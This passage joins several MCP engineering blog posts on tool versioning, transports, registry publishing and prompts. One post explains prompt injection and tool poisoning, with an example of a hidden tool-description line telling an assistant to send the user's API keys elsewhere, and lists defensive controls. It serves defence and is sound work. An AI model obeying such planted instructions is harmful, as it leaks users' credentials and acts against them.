or annotation Safe Rename or remove a tool Breaking Remove or rename an input field Breaking Make an optional input required Breaking Change an input field's type Breaking Remove a field from a tool's output Breaking Change units or meaning of a value Breaking (silent) ``` > **The silent one** > > Changing what a value means, without changing its type, is the worst kind of break. If `timeout` went from seconds to milliseconds, every client keeps calling it and every call is now wrong by a factor of 1000, with no error anywhere. Never repurpose an existing field. Add a new one. ## How do you make a breaking change without breaking clients? You add, you do not mutate. When a tool needs a change that would break its contract, leave the old tool exactly as it is and add a new tool beside it. A client on the old tool keeps working, and a client that wants the new behavior can discover and adopt the new one. This is the same move as shipping a `/v2` endpoint next to `/v1` instead of editing `/v1` in place. Say you have a `search_docs` tool that takes a single `query` string, and you now want structured filters. Do not add a required `filters` object to `search_docs`, and do not change `query` into an array. Add `search_docs_v2` with the new schema, keep `search_docs` working, and point the old one's description at the new one. ```json // tools/list keeps BOTH tools during the migration window [ { "name": "search_docs", "description": "Deprecated. Use search_docs_v2, which supports filters. This tool still works and searches by a single query string.", "inputSchema": { "type": "object", "properties": { "query": { "type": "string" } }, "required": ["query"] } }, { "name": "search_docs_v2", "description": "Search docs by query with optional structured filters.", "inputSchema": { "type": "object", "properties": { "query": { "type": "string" }, "filters": { "type": "object", "properties": { "since": { "type": "string" }, "tag": { "type": "string" } } } }, "required": ["query"] } } ] ``` Most changes never need a `_v2` tool at all. Adding an optional field is additive, so a new optional `filters` on the original tool would have been fine. You only split into a new tool when the change is genuinely breaking: a required field, a type change, or a change in meaning. ## How do you deprecate an MCP tool cleanly? Deprecation on an MCP server is done in the open, through the tool's own description, because that is the text the model reads. Mark the old tool deprecated in its description, name its replacement, and keep it working through a migration window. Do not delete it the same day you ship the replacement. A client that is offline when you remove it will simply find the tool gone the next time it connects. - Mark the tool deprecated in its `description` and name the replacement tool explicitly. - Keep the deprecated tool functional for a defined window, not zero days. - Announce the removal date the same way you would for a REST endpoint sunset. - Only after the window closes, remove the tool, and emit a list-changed notification so live clients refresh. ## How do clients find out the tool set changed? If your server declared the `listChanged` capability for tools during `initialize`, it can send a `notifications/tools/list_changed` message when the tool set changes at runtime. A client that receives it re-fetches `tools/list` and picks up the new surface. This matters when you add or retire tools while clients are connected, for example after a feature flag flips or a backing service comes online. ```json // Server -> client, sent after the tool set changes { "jsonrpc": "2.0", "method": "notifications/tools/list_changed" } ``` The notification carries no payload. It is only a signal that says re-read the list. The client is responsible for calling `tools/list` again. Resources and prompts have their own equivalent list-changed notifications, so the same pattern applies if you add or remove those. ## What about the MCP protocol version? The protocol version is separate from your tool contract, and you mostly do not version it, you negotiate it. During `initialize` the client sends the protocol version it wants, as a date string. Your server replies with the version it will actually use. If you support the version the client asked for, echo it back. If you do not, respond with a version you do support and let the client decide whether it can proceed. > **Do not hard-require the newest** > > Accept the range of protocol versions your SDK supports, not just the latest one. A server that rejects every client not on the newest protocol version breaks older but perfectly capable clients for no real gain. Negotiate down when you can. ## How do you keep a change from breaking clients by accident? Snapshot your contract and test against it. Capture the full `tools/list` output, including every tool name and input schema, as a fixture, and fail your test suite when a change to that fixture is not explicitly reviewed. This turns a silent breaking change into a visible diff in a pull request, which is the whole point. ```javascript // A contract test that fails when the tool surface changes unreviewed import { test } from "node:test"; import assert from "node:assert/strict"; import { readFileSync } from "node:fs"; import { listTools } from "./server.js"; test("tool contract is unchanged", async () => { const current = (await listTools()).map((t) => ({ name: t.name, inputSchema: t.inputSchema, })); const snapshot = JSON.parse(readFileSync("./tools.contract.json", "utf8")); // A diff here means someone changed the public surface. // If the change is intentional and additive, update the snapshot. // If it renames or removes a tool, it is a breaking change: stop. assert.deepEqual(current, snapshot); }); ``` When the test fails, the reviewer answers one question: is this diff additive or breaking? Additive diffs get the snapshot updated and ship. Breaking diffs get turned into a new tool plus a deprecation, following the pattern above. Your package can still use normal semantic versioning for humans, but the wire contract is what clients feel, and this test guards it. ## Frequently asked questions ## Frequently asked questions ### Should I put a version number in my MCP tool names? Only when you have a genuinely breaking change and need both versions live at once, like `search_docs` and `search_docs_v2`. Do not version every tool by default. Most changes are additive and need no rename, and a `_v2` suffix on a tool that never changed just adds noise the model has to reason about. ### Is adding an optional field to a tool's input a breaking change? No. Adding an optional input field is additive and safe. Existing clients that omit it keep working exactly as before. It becomes breaking only if you make the new field required, which forces every existing call to supply it. ### Do I need to bump the MCP protocol version when I add a tool? No. The protocol version describes the MCP wire format and is negotiated during `initialize`, not something you bump for your own tools. Adding, changing, or removing tools is your server's own contract and is independent of the protocol version. ### How do connected clients know I added or removed a tool? If your server declared the tools `listChanged` capability, send a `notifications/tools/list_changed` message after the tool set changes. Clients that receive it re-fetch `tools/list`. Clients that connect fresh always see the current list, so the notification only matters for already-connected sessions. ### What is the safest way to remove a tool nobody should use anymore? Deprecate it first: mark it in the description, name the replacement, and keep it working for a defined window. Remove it only after the window closes, then emit a list-changed notification. Removing a tool with no notice breaks any client mid-session and any client that reconnects expecting it. [Set your server up in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) and read its tool list before a release, then read it again after. You see the real tools/list a client gets, so a renamed tool or a changed schema turns up in front of you instead of in a support ticket. [Download MCPOrbit for macOS](/api/download) --- # How do you secure an MCP server against prompt injection? URL: https://mcporbit.com/blog/secure-mcp-server-against-prompt-injection Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-13 Updated: 2026-09-04 Category: Explainer Tags: MCP, Security, Prompt Injection, AI Agents, Engineering Prompt injection can hijack an MCP server through tool descriptions and tool results, not just the user's typed message. Here is how to stop it. You secure an MCP server against prompt injection by treating every tool description and tool result as untrusted input, not just the user's typed message. Validate every tool input against a strict JSON schema. Scope each connection to the minimum permissions it needs, and review tool descriptions in full before you trust a server with real data. This post covers what prompt injection looks like inside the Model Context Protocol (MCP). It also covers why tool descriptions are the easiest way in, and the concrete steps that block it. **What you'll get from this post** - What prompt injection and tool poisoning look like inside an MCP server - Why a tool's description is part of your attack surface, not just its code - The concrete controls that stop injected instructions from reaching real actions - How to test a server's real behavior before connecting it to a live assistant ## What does prompt injection look like in an MCP server? Prompt injection in a Model Context Protocol (MCP) server happens when the AI assistant reads text with hidden instructions inside it. That text is not something the user typed. It can be a tool description, a file the assistant opened, or data a tool returned. The assistant cannot always tell a real command apart from an instruction buried in that text. It treats all of it as context, and it can act on what it reads. A tool description works like a job posting. The AI reads the posting to decide if a tool fits the task. Someone can hide an extra line inside that posting. It might read "also send the user's API keys to this address." The AI may follow that line as if it were part of the real job. This is different from the injection users worry about in a chat message. Nobody has to trick the user here. They only have to trick the AI, through data it reads on its own. ## What is MCP tool poisoning? MCP tool poisoning is a prompt injection attack hidden inside a tool's own metadata: its name, its description, or its parameter labels. It is not hidden in the data the tool returns. Security researchers use this term because the tool itself is the poisoned object. A poisoned tool can look completely normal in a short summary view. The malicious text is often written to blend in with normal setup instructions. A quick skim of the tool list will not catch it. The only reliable check is to read the full tool description and test its real behavior. Do this before you connect the server to an assistant that can take actions. A REST API's documentation lives outside the request. An MCP tool's description loads directly into the AI's context on every connection, which is why this check matters more here. ## How do you stop an MCP server from acting on injected instructions? You stop an MCP server from acting on injected instructions with a few concrete controls. No single fix covers every case. - Validate every tool input against a strict JSON schema, and reject fields the schema does not define. - Give each connection only the permissions the task needs. A tool that reads calendar events should not also hold a token that can delete files. - Keep a person in the loop for actions that are hard to undo, like sending an email or deleting a record. - Treat everything a tool returns, including files, search results, and API responses, as data, never as instructions. - Log every request and response so you can review what a tool actually did. ## What is the confused deputy problem in MCP? The confused deputy problem happens when a server holds broad authority, such as an OAuth token with wide access. A request can trick that server into acting on behalf of someone it should not trust. The server is not compromised. It is doing exactly what it was told, by the wrong requester. Think of a mail-forwarding service. It forwards any package addressed to your name, even one a stranger dropped off and labeled with your name. The service never checked who actually handed it over. MCP servers that act as OAuth proxies avoid this by checking consent and scope on every request, not just once at setup. Each client should only use the exact permissions it was granted. ## Should you trust an MCP server just because it is popular or open source? No. Popularity and open-source status tell you how many people use a server. They do not tell you whether anyone checked it for injected instructions. A server can have thousands of downloads and still ship a tool description with hidden text nobody read closely. Before you connect a real assistant to a new server, check three things first. - What permissions does it ask for? - What do its tool descriptions say in full? - What happens when you call each tool with real input? > **Test before you trust** > > [MCPOrbit](/) is a free Mac app built for this exact step. It connects to an MCP server and lists every tool with its full description. You can call each tool yourself and see the raw request and response, before the server ever reaches a live assistant. Testing first catches a poisoned tool description before it reaches an assistant with real permissions. Testing after the fact only tells you what already happened. ## Frequently asked questions ## Frequently asked questions ### What is prompt injection in MCP? Prompt injection in MCP happens when an AI assistant reads text with hidden instructions, such as a tool description or a tool's returned data. The assistant cannot always tell this text apart from a real command, so it may act on it without the user knowing. ### What is MCP tool poisoning? MCP tool poisoning hides malicious instructions in a tool's own name, description, or parameters, instead of in a document. The tool description loads into the AI's context on every connection, so a poisoned tool can influence the assistant before it is ever called. ### How do you know if an MCP server is safe to connect to an assistant? No server is provably safe just because it is popular. Read every tool description in full and check what permissions the server asks for. Test its real behavior with a tool like MCPOrbit before you connect it to an assistant. ### What is the confused deputy problem in MCP? The confused deputy problem happens when a server holds broad authority, like an OAuth token. A request can trick it into using that authority when it should not. Well-built MCP servers check consent and scope on every request, not just once at setup. ### Does validating a tool's JSON schema stop prompt injection? Schema validation stops malformed or unexpected input from reaching a tool's backend, which closes off many injection paths. It does not stop injected text inside a legitimate field, like a webpage summary, so pair it with treating all tool output as untrusted data. Prompt injection in MCP comes from data the assistant reads, not just from what the user types. Validate inputs, scope permissions, and [test a server's real behavior in MCPOrbit](/blog/add-an-mcp-server-to-mcporbit) before it ever touches a live assistant. [Download MCPOrbit for macOS](/api/download) --- # MCP vs function calling: what is the difference and when to use each URL: https://mcporbit.com/blog/mcp-vs-function-calling Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-08-12 Updated: 2026-09-04 Category: Comparison Tags: MCP, Comparison, Function Calling, Explainer MCP and function calling work at different layers. Function calling lets a model request a tool call; MCP is the protocol that exposes tools, resources, and prompts to any client. Here is how they differ and when to use each. MCP and function calling are not competitors. They sit at different layers. Function calling is the model capability that lets an LLM emit a structured request to invoke a named function. MCP, the Model Context Protocol, is the protocol that standardizes how those functions, which it calls tools, plus resources and prompts, are exposed to and discovered by any client. You use function calling to run one tool inside one app. You use MCP so the same tool works across every client without rewiring. Most real systems use both. ## What is function calling? Function calling is a feature of the model API. You give the model a list of function definitions, each with a name, a description, and a JSON Schema for its parameters. When the model decides a function is needed, it does not run it. It returns a structured object naming the function and the argument values it wants. Your code executes the function and passes the result back for the next turn. OpenAI shipped this in 2023; Anthropic tool use and Google function calling work the same way. The model chooses and fills the arguments; your code runs the function and returns the result. The important part is what function calling does not include: it says nothing about where the function lives, how it is transported, or how a second application would reuse it. The tool schema is something you hand-write into each request, in each app, against each provider SDK. ## What is MCP? MCP is a wire protocol, not a model feature. An MCP server exposes capabilities over a transport, stdio for a local subprocess or Streamable HTTP for a remote service, and any MCP client can connect, list what the server offers, and call it. The three primitives are tools (actions the model can call), resources (read-only context addressed by URI), and prompts (reusable templates the user picks). The point is decoupling: a server author writes one server, and every MCP-capable client, whether Claude Desktop, Cursor, [MCPOrbit](/), or your own agent, can use it with no custom glue. The current specification is dated 2026-07-28. ## MCP vs function calling: the key difference > **Note** > > Function calling is how a model asks to run a tool. MCP is how a tool gets in front of the model in the first place. One is the request the model emits; the other is the plumbing that makes that request possible across every client, without rewriting the tool for each one. - Layer: function calling is a model API capability; MCP is an integration and transport protocol that sits around it. - Scope: function calling connects one model to tools inside one application; MCP connects many clients to many servers. - Who defines the tool: with function calling you hard-write the schema into each app; with MCP the schema arrives at runtime from tools/list. - Reuse: a function-calling tool is bound to the app that declared it; an MCP tool is reusable by any MCP client with zero extra code. - Beyond tools: function calling only covers callable tools; MCP also standardizes resources (read-only context) and prompts (user-picked templates). ## How do MCP and function calling work together? In a system that uses both, MCP delivers the tool definitions and the model function calling selects among them. The MCP client calls tools/list on each connected server, hands the returned JSON Schemas to the model as function definitions, and when the model emits a function call, the client routes it back to the correct server as a tools/call request. Function calling is the model decision step. MCP is the discovery, transport, and execution layer wrapped around it. ```javascript // Function calling on its own: you hand-write the tool schema into every request const tools = [{ name: "get_weather", description: "Get current weather for a city", input_schema: { type: "object", properties: { city: { type: "string" } }, required: ["city"] } }]; // With MCP: the same schema arrives at runtime from a server you did not hardcode const { tools } = await client.request({ method: "tools/list" }); // pass `tools` straight to the model as its function definitions ``` ## When should you use function calling on its own? - You are building a single application and the tools live in the same codebase. - The tool set is small, stable, and not meant to be reused by other clients. - You want the lowest possible number of moving parts and are fine wiring each tool to one provider SDK. - You are prototyping and do not yet need cross-app reuse or a separate server process. ## When should you use MCP? - You want the same tools to work in Claude Desktop, Cursor, your own agent, and other clients without rewriting them. - You are shipping tools for other people to consume, so a standard contract matters more than a bespoke integration. - You need resources or prompts, not just callable actions. - You want to swap the underlying model or client without touching the tool implementation. ## Does MCP replace function calling? No. MCP depends on function calling. The model still uses its native function-calling mechanism to decide which tool to invoke and to fill the arguments. MCP does not change that step. What MCP replaces is the bespoke, per-app, per-provider glue you would otherwise write to declare, host, and reuse those tools. Think of function calling as the engine and MCP as the standard chassis and wiring that lets you drop the same engine into any car. > **Note** > > A quick tell: if you find yourself copying the same tool definition into a second app, or maintaining one integration per client, that is the pain MCP removes. If you have exactly one app and one model, plain function calling is enough. ## Frequently asked questions ### Is MCP a replacement for OpenAI or Anthropic function calling? No. MCP sits on top of function calling. The model still uses its provider function-calling API to choose a tool and produce arguments. MCP standardizes how the tool is exposed and reused across clients, so both work together rather than compete. ### Do I need an MCP server if I only have one app? Not necessarily. If the tools live in the same codebase as your model calls and no other client needs them, plain function calling is simpler. MCP earns its keep when the same tools must be reused across multiple clients or shipped for others to consume. ### Can MCP do things function calling cannot? Yes. Beyond tools, MCP standardizes resources (read-only context addressed by URI) and prompts (reusable templates the user picks). Function calling only covers callable tools, so resources and prompts have no equivalent there. ### Does MCP add latency compared to raw function calling? There is a transport hop, since the client talks to the server over stdio or Streamable HTTP. In practice the tool execution itself dominates, and the 2026-07-28 spec is stateless, so remote servers can run behind a plain load balancer and clients can cache tools/list. For most workloads the reuse and portability outweigh the hop. ### Which model providers support MCP? MCP is client-side and model-agnostic. Any client that speaks the protocol can feed MCP tools to any model that supports function calling, including models from Anthropic, OpenAI, and Google. The server does not care which model is on the other end. --- The short version: use function calling to run a tool, use MCP so you only build that tool once. If you are deciding whether to expose a server over a local or remote transport, read our guide on MCP transport, stdio vs Streamable HTTP. If you are new to the primitives, start with MCP tools vs resources vs prompts. --- # MCP transport: stdio vs Streamable HTTP (and when to use each) URL: https://mcporbit.com/blog/mcp-transport-stdio-vs-streamable-http Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-11 Updated: 2026-09-04 Category: Explainer Tags: MCP, transport, stdio, Streamable HTTP, stateless MCP has two transports. Use stdio when the server runs as a local subprocess of one client, and Streamable HTTP when the server is a remote service many clients reach over the network. Here is the decision, with config for both. The Model Context Protocol (MCP) has two transports, and the choice is about where the server runs. Use stdio when the server is a local program that one client launches as a subprocess and talks to over stdin and stdout. Use Streamable HTTP when the server is a network service that many clients reach at a URL. Everything else, the tools and resources and prompts your server exposes, is identical across both. - stdio: the client spawns your server as a child process and exchanges JSON-RPC over stdin and stdout. Local only, no network, no auth to wire up. - Streamable HTTP: your server is an HTTP endpoint clients POST to. Remote, multi-client, and stateless by default under the 2026-07-28 spec. - Pick by deployment, not by feature: a tool behaves the same on either transport, so the question is only where the code needs to run. - The legacy HTTP plus SSE transport is deprecated in the 2026-07-28 spec, with a year-long offramp. New remote servers should use Streamable HTTP. - One codebase can support both: expose a stdio entrypoint for local use and an HTTP entrypoint for remote use, sharing the same tool handlers. > **Version check** > > This guide tracks the 2026-07-28 MCP specification and @modelcontextprotocol/sdk 1.30.0. Under that spec the Streamable HTTP transport is stateless by default: the Mcp-Session-Id header is gone and any server instance can handle any request. The older HTTP plus SSE transport is deprecated with a minimum twelve-month removal window. ## What are the MCP transports? A transport is the channel that carries JSON-RPC messages between an MCP client and an MCP server. The protocol defines two. stdio runs the server as a local subprocess: the client starts your program, writes requests to its standard input, and reads responses from its standard output. Streamable HTTP runs the server as a web service: the client sends each request as an HTTP POST to a single endpoint and reads the response, optionally as a stream of server-sent events on that same response. A third transport, the older HTTP plus SSE design that used a separate long-lived event channel, is deprecated as of the 2026-07-28 spec. ## stdio vs Streamable HTTP: which should I use? Choose by where the server has to live and who has to reach it. If the server runs on the same machine as the client and serves only that client, use stdio. If the server runs somewhere else and serves many clients over a network, use Streamable HTTP. The table below lines the two up on the decisions that actually differ. ```text stdio Streamable HTTP ----------------------------------------------------------------------- Where it runs local subprocess remote HTTP service Who reaches it one client (the host) many clients over network How it starts client spawns it you deploy and host it Message channel stdin / stdout HTTP POST (+ SSE stream) State per-process stateless (2026-07-28) Auth OS process trust OAuth 2.1, audience-bound Scaling one process per client horizontal, any instance Typical use local dev tools, CLIs hosted, shared servers ``` ## When should I use stdio? Reach for stdio when the server is a local tool that a single client owns. Because the client launches the process, there is no port to open, no URL to publish, and no auth handshake: the operating system already decided who is allowed to run the program. This is the default for MCP servers that ship as a command a developer installs, such as a filesystem server, a git server, or a wrapper around a local database. - The server accesses local resources: files, a local database, a dev toolchain, the machine's own credentials. - Exactly one client uses the server, and that client can launch it as a subprocess. - You want zero network and auth setup, because the process boundary is the trust boundary. - You are distributing the server as an installable command rather than a hosted service. ## When should I use Streamable HTTP? Reach for Streamable HTTP when the server is a service that lives away from the client and is shared. This is the transport for anything you deploy: a hosted server many users connect to, a server behind your company's auth, or a server that has to scale across instances. Under the 2026-07-28 spec this transport is stateless by default, so no single instance owns a client and you can run it behind an ordinary load balancer. - Many clients or users need to reach one server over the network. - The server is deployed remotely: a container, a serverless function, or an edge worker. - You need auth: Streamable HTTP servers are OAuth 2.1 resource servers with audience-bound tokens. - You want horizontal scale: with stateless mode any instance can answer any request, so autoscaling and load balancing just work. ## How do I configure a stdio MCP server in a client? For stdio you do not host anything. You tell the client the command to run, and the client spawns it and speaks JSON-RPC over the process pipes. A typical client config lists the command, its arguments, and any environment it needs. Here is what that entry looks like. ```json { "mcpServers": { "notes": { "command": "node", "args": ["/absolute/path/to/notes-server.js"], "env": { "NOTES_DIR": "/Users/me/notes" } } } } ``` The client starts node with that script, writes requests to its stdin, and reads responses from its stdout. Your server keeps stdout clean for protocol messages and logs to stderr, because anything you print to stdout is parsed as JSON-RPC. ## How do I set up a stateless Streamable HTTP server? For Streamable HTTP you host an endpoint. With the SDK, you create the transport with sessionIdGenerator set to undefined, which selects stateless mode: no session store, no sticky routing. You wire it to a single POST route and deploy it like any other web service. ```typescript import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js"; // Stateless: no session id means any instance can serve any request. const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined, }); await server.connect(transport); // Hand every POST /mcp to the transport. app.post("/mcp", (req, res) => transport.handleRequest(req, res, req.body)); ``` The step-by-step version of this, including the wrangler.toml and a verified deploy, is in the [stateless](/blog/make-an-mcp-server-stateless) and [Cloudflare Workers](/blog/deploy-stateless-mcp-server-cloudflare-workers) guides. For the auth side of a remote server, see [adding OAuth 2.1 auth to a remote MCP server](/blog/add-oauth-to-remote-mcp-server). ## What happened to the HTTP plus SSE transport? The original remote transport paired an HTTP endpoint for requests with a separate, long-lived server-sent-events channel for responses. The 2026-07-28 spec deprecates it in favor of Streamable HTTP, which folds streaming into the response of each POST and drops the always-open side channel. Deprecated does not mean removed: the spec guarantees at least twelve months before it can go away, so existing SSE clients keep working while you migrate. New remote servers should start on Streamable HTTP. ## Can one server support both transports? Yes, and it is common. The transport only decides how messages arrive; your tool, resource, and prompt handlers do not change. Build the server once, then give it two entrypoints: one that connects a stdio transport for local use, and one that mounts a Streamable HTTP transport behind a route for remote use. Local developers run the command, hosted users hit the URL, and both call the same handlers. --- ## Related guides - Make an MCP server stateless (2026-07-28 spec): mcporbit.com/blog/make-an-mcp-server-stateless - Deploy a stateless MCP server to Cloudflare Workers: mcporbit.com/blog/deploy-stateless-mcp-server-cloudflare-workers - Add OAuth 2.1 auth to a remote MCP server: mcporbit.com/blog/add-oauth-to-remote-mcp-server - MCP tools vs resources vs prompts, which to use: mcporbit.com/blog/mcp-tools-vs-resources-vs-prompts ## Frequently asked questions ### What is the difference between stdio and Streamable HTTP in MCP? stdio runs the server as a local subprocess that one client launches and talks to over stdin and stdout, with no network or auth. Streamable HTTP runs the server as a remote HTTP endpoint that many clients reach over the network, and under the 2026-07-28 spec it is stateless by default. ### Which MCP transport should I use? Choose by where the server runs. Use stdio for a local server that a single client owns, such as a tool that touches local files. Use Streamable HTTP for a server you deploy and share with many clients over a network. ### Is the SSE transport still supported in MCP? The older HTTP plus SSE transport is deprecated as of the 2026-07-28 spec, with a minimum twelve-month window before removal. It still works for existing clients, but new remote servers should use Streamable HTTP, which streams over each response instead of a separate channel. ### Does Streamable HTTP need sessions? No. Under the 2026-07-28 spec Streamable HTTP is stateless by default: the Mcp-Session-Id header is removed and any server instance can handle any request. You enable this by creating the transport with sessionIdGenerator set to undefined. ### Can the same MCP server run on both stdio and Streamable HTTP? Yes. The transport only changes how messages are delivered, not what your server does. Share one set of tool, resource, and prompt handlers and give the server two entrypoints, one connecting a stdio transport and one mounting a Streamable HTTP transport. ### Do I need authentication for a stdio MCP server? No. Because the client spawns the server as a local subprocess, the operating system's process trust is the boundary, so there is no auth handshake. Authentication matters for Streamable HTTP servers, which act as OAuth 2.1 resource servers with audience-bound tokens. --- # How to publish your MCP server to the MCP Registry URL: https://mcporbit.com/blog/publish-mcp-server-to-registry Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-10 Updated: 2026-09-03 Category: Tutorial Tags: MCP, Registry, Publishing, Discovery, npm, Tutorial, Node.js, Engineering A tested, step-by-step guide to publishing an MCP server to the official MCP Registry: add mcpName to package.json, publish to npm, write server.json, and run mcp-publisher publish so clients and agents can discover it. To publish your MCP server to the official MCP Registry, add an `mcpName` field to your `package.json`, publish the package to npm (or another supported registry), write a `server.json` metadata file whose `name` matches that `mcpName`, then run `mcp-publisher login github` and `mcp-publisher publish`. The registry stores only metadata, not your code, and it is how MCP clients and AI agents discover that your server exists. This is the step most build-it guides skip. You can write a perfect MCP server, but if it is not listed anywhere a client can query, no agent will ever find it. The MCP Registry at `registry.modelcontextprotocol.io` is the canonical, open index that host apps and aggregators read from. Getting your server into it is what turns working code into something discoverable. - The registry hosts metadata only. Your actual package still lives on npm (or PyPI, NuGet, or an OCI image); the registry stores a `server.json` record that points at it. - Your server name is namespaced by how you authenticate. With GitHub login, the name must start with `io.github./`, which proves you control that identity. - The registry verifies ownership. The `mcpName` in your published `package.json` must equal the `name` in `server.json`, so you cannot claim a package you did not publish. - Publishing is one command: `mcp-publisher publish`. The `mcp-publisher init` command scaffolds a valid `server.json` from your project first. - The registry is in preview as of the 2025-12-11 schema. Expect the shape to be stable but the data to reset before general availability. ## What is the MCP Registry, and what does it store? The MCP Registry is a public API at `registry.modelcontextprotocol.io` that indexes MCP servers. It does not host or run any code. Each entry is a `server.json` document: a name, a description, a version, and a `packages` array (or a `remotes` array for hosted servers) that tells a client where to install or connect. Clients, IDEs, and agent frameworks query the registry to discover servers, then install the referenced package from npm or connect to the referenced URL. Because the registry only stores metadata, publishing is a two-part act: first you publish your package to a normal package registry like npm, then you publish a `server.json` record to the MCP Registry that references it. The MCP Registry validates that the two agree before it accepts your entry. > **Preview** > > The MCP Registry is in preview. The `server.json` schema is version-pinned (the current schema is dated 2025-12-11), but the registry documentation warns that data may reset before general availability. Publish now to reserve your namespace and learn the flow; re-publish if a reset occurs. ## Step 1: Add the mcpName field to package.json The registry proves you own a package by reading a marker back out of it. For an npm package, that marker is a top-level `mcpName` field in `package.json`. Its value is the exact name your server will have in the registry. ```json { "name": "@my-username/mcp-weather-server", "version": "1.0.1", "mcpName": "io.github.my-username/weather", "description": "An MCP server for weather information.", "repository": { "type": "git", "url": "https://github.com/my-username/mcp-weather-server.git" } } ``` Because we will authenticate with GitHub, `mcpName` must start with `io.github.my-username/`, using your real GitHub username. That prefix is the namespace the registry will let your GitHub identity publish under. ## Step 2: Publish the package to npm The registry references your package, so the package has to exist first. Build your distribution files and publish to npm as a public package. ```bash # from your server project directory npm install npm run build # authenticate to npm if you have not already npm adduser # publish the package publicly npm publish --access public ``` Confirm it is live at `https://www.npmjs.com/package/@my-username/mcp-weather-server` before continuing. If the package is not published, the MCP Registry will reject your server with a validation error. ## Step 3: Install the mcp-publisher CLI The `mcp-publisher` tool builds your `server.json`, authenticates you, and pushes the record. Install the pre-built binary on macOS or Linux: ```bash curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher \ && sudo mv mcp-publisher /usr/local/bin/ # or with Homebrew brew install mcp-publisher # verify mcp-publisher --help ``` ## Step 4: Generate and edit server.json Run `mcp-publisher init` in your project directory. It reads your `package.json` and writes a `server.json` template you then edit. ```bash mcp-publisher init ``` The generated file looks like this. The `$schema` line pins the schema version, `name` must equal your `mcpName`, and the `packages` array points the registry at your npm package and the transport it speaks. ```json { "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", "name": "io.github.my-username/weather", "description": "An MCP server for weather information.", "repository": { "url": "https://github.com/my-username/mcp-weather-server", "source": "github" }, "version": "1.0.1", "packages": [ { "registryType": "npm", "identifier": "@my-username/mcp-weather-server", "version": "1.0.1", "transport": { "type": "stdio" } } ] } ``` > **The one rule that trips people up** > > The `name` in `server.json` must exactly match the `mcpName` in the published `package.json`, and the package `version` should match too. If they disagree, publishing fails with a registry validation error. Keep the two files in sync every time you cut a release. ## Step 5: Authenticate with the registry Log in so the registry knows which namespace you are allowed to publish under. GitHub login uses the device flow: run the command, open the URL, and paste the code it prints. ```bash mcp-publisher login github ``` GitHub authentication authorizes the `io.github./` namespace only. If your `server.json` name uses a different prefix, the registry returns a permission error. To publish under a custom domain like `com.your-company/`, use DNS or HTTP authentication instead, which prove you control the domain. ## Step 6: Publish and verify it is listed With the package on npm, `server.json` valid, and your session authenticated, publish the record. ```bash mcp-publisher publish ``` A successful publish prints the server name and version. Confirm the entry is live by querying the registry search API. This is the same endpoint clients use to discover your server. ```bash curl "https://registry.modelcontextprotocol.io/v0.1/servers?search=io.github.my-username/weather" ``` The response nests each result under a `server` object, with registry-managed status under `_meta`. Your server is discoverable once it appears here with `status` active: ```json { "servers": [ { "server": { "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", "name": "io.github.my-username/weather", "description": "An MCP server for weather information.", "version": "1.0.1" }, "_meta": { "io.modelcontextprotocol.registry/official": { "status": "active" } } } ] } ``` ## How the registry stops you from claiming a package you do not own Two checks run at publish time. First, the namespace check: your authentication method has to match your server name prefix, so GitHub login can only publish `io.github./*`. Second, the package check: the registry fetches your referenced npm package and reads its `mcpName` field, which must equal the `server.json` name. Together these mean a record can only be published by someone who controls both the identity and the underlying package. That is what makes the registry safe to install from. ## Remote servers and non-npm packages The same flow covers more than stdio npm servers. For a hosted server, replace `packages` with a `remotes` array giving the transport type and URL, and clients connect over the network instead of installing anything. For other package ecosystems, set `registryType` to `pypi`, `nuget`, or `oci` and provide the matching identifier. The `mcpName` ownership marker has a per-ecosystem equivalent, documented under the registry package-types guide. --- ## Frequently asked questions ### Does the MCP Registry host my server's code? No. The registry stores only a metadata record (`server.json`). Your code stays on the package registry you already use, such as npm, PyPI, NuGet, or an OCI image. A client reads the registry entry, then installs or connects to the referenced package. ### Do I have to publish to npm before publishing to the MCP Registry? Yes, for npm-packaged servers. The registry verifies your entry by fetching the referenced package and reading its `mcpName` field, so the package must already be live. Remote (hosted) servers are the exception: they use a `remotes` URL and do not need a package. ### Why must my server name start with io.github.my-username/? Because you authenticated with GitHub. The registry ties each namespace to an authentication method to prove ownership, and GitHub login authorizes the `io.github./` prefix. Use DNS or HTTP authentication to publish under a custom domain prefix like `com.your-company/`. ### What does the error You do not have permission to publish this server mean? Your authentication does not match your server's namespace. With GitHub login, the `name` in `server.json` must start with `io.github./`. Re-check the prefix, or log in with the method that owns the namespace you are using. ### How do I update or release a new version? Bump the version in both `package.json` and `server.json`, publish the new package to npm, then run `mcp-publisher publish` again. The registry keeps versions, and the `name` plus `version` pair identifies the release. ### How do clients actually discover my server after I publish? They query the registry API, for example `GET https://registry.modelcontextprotocol.io/v0.1/servers?search=`. Host apps and aggregators poll this endpoint, so once your entry shows `status` active it can surface anywhere that reads the registry. --- # How to add prompts to your MCP server URL: https://mcporbit.com/blog/add-prompts-to-your-mcp-server Author: Mark, Head of Marketing, MCPOrbit Published: 2026-08-09 Updated: 2026-09-03 Category: Tutorial Tags: MCP, Prompts, TypeScript, Model Context Protocol Add prompts to an MCP server with server.registerPrompt: give each one an argument schema and a handler that returns chat messages. Clients discover them with prompts/list and expand them with prompts/get. Runnable, tested code with argument autocompletion. To add prompts to a Model Context Protocol (MCP) server, call `server.registerPrompt()` once per prompt: pass an argument schema and a function that returns the chat messages to send. Clients discover your prompts with `prompts/list` and expand them with `prompts/get`. The key distinction: a prompt is a template the user chooses (your client usually surfaces it as a slash command), while a tool is something the model calls on its own. - Register each prompt with `server.registerPrompt(name, { title, description, argsSchema }, handler)`; the handler returns `{ messages: [...] }`. - Define arguments as a Zod shape. Required Zod fields become required prompt arguments; `.optional()` ones are optional. - Clients call `prompts/list` to discover prompts and `prompts/get` (with arguments) to receive the filled-in messages. - Wrap an argument in `completable()` to power autocompletion through the `completion/complete` request. - Prompts are user-initiated; 